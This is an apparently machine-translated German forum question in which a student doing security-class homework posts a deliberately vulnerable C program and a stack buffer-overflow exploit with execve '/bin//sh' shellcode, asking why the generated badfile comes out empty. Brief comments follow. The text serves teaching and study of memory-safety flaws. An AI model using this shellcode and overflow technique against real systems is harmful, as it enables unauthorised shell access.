Studierte diesen Pufferüberlauf Zeug für eine Sicherheitsklasse, ich versuche die Verletzlichkeit in dieser Anwendung zu nutzen:Pufferüberlauf als homeowrk
//vuln.c
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
diese Anwendung ausnutzen Verwendung:
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char* argv[])
{
char buffer[517];
char large_string[512];
FILE *badfile;
badfile = fopen("./badfile", "w");
//NOPslide
memset(&buffer,0x90,517);
//BEGIN FILL BUFFER
//from stack_smashing.pdf
long *long_ptr = (long *) large_string;
int i;
for (i = 0; i < 128; i++)
*(long_ptr + i) = (int) buffer;
for (i = 100; i < strlen(code)+100; i++)
large_string[i] = code[i];
strcpy(buffer,large_string);
//END FILL BUFFER
//save buffer to badfile
fwrite(buffer,517,1,badfile);
fclose(badfile);
return 0;
}
Für Irgendein Grund, wenn ich das Badfile durch Ausführen von Exploit erstelle, bringt es nichts dazu. Entweder ist der Puffer leer oder er schreibt nicht richtig. Ich kann meinen Fehler nicht finden, und nachdem ich unermüdlich geforscht habe, konnte ich keine ausreichende Antwort finden. Aus meinem Verständnis des verwendeten Füllpuffercodes sollte dies long_string mit der Adresse meines Puffers füllen, dann setze ich meinen Shellcode am Anfang von long_string (nach ein wenig NOOP-Folie) und kopiere long_string zurück in den Puffer. Ich sehe wirklich kein Problem mit diesem oder dem fwrite. Vorschläge?
Ist 'badfile - fopen (" badfile "," r ")' ein Tippfehler im Code oder dein Beitrag? – ughoavgfhw
Unter der Annahme 'sizeof (long) == 4' (d. H. 32-Bit-Programm) sollte der Code so funktionieren wie er ist. –
Angenommen sizeof (long)> 4, hat der Code selbst einen Pufferüberlauf. – Sebastian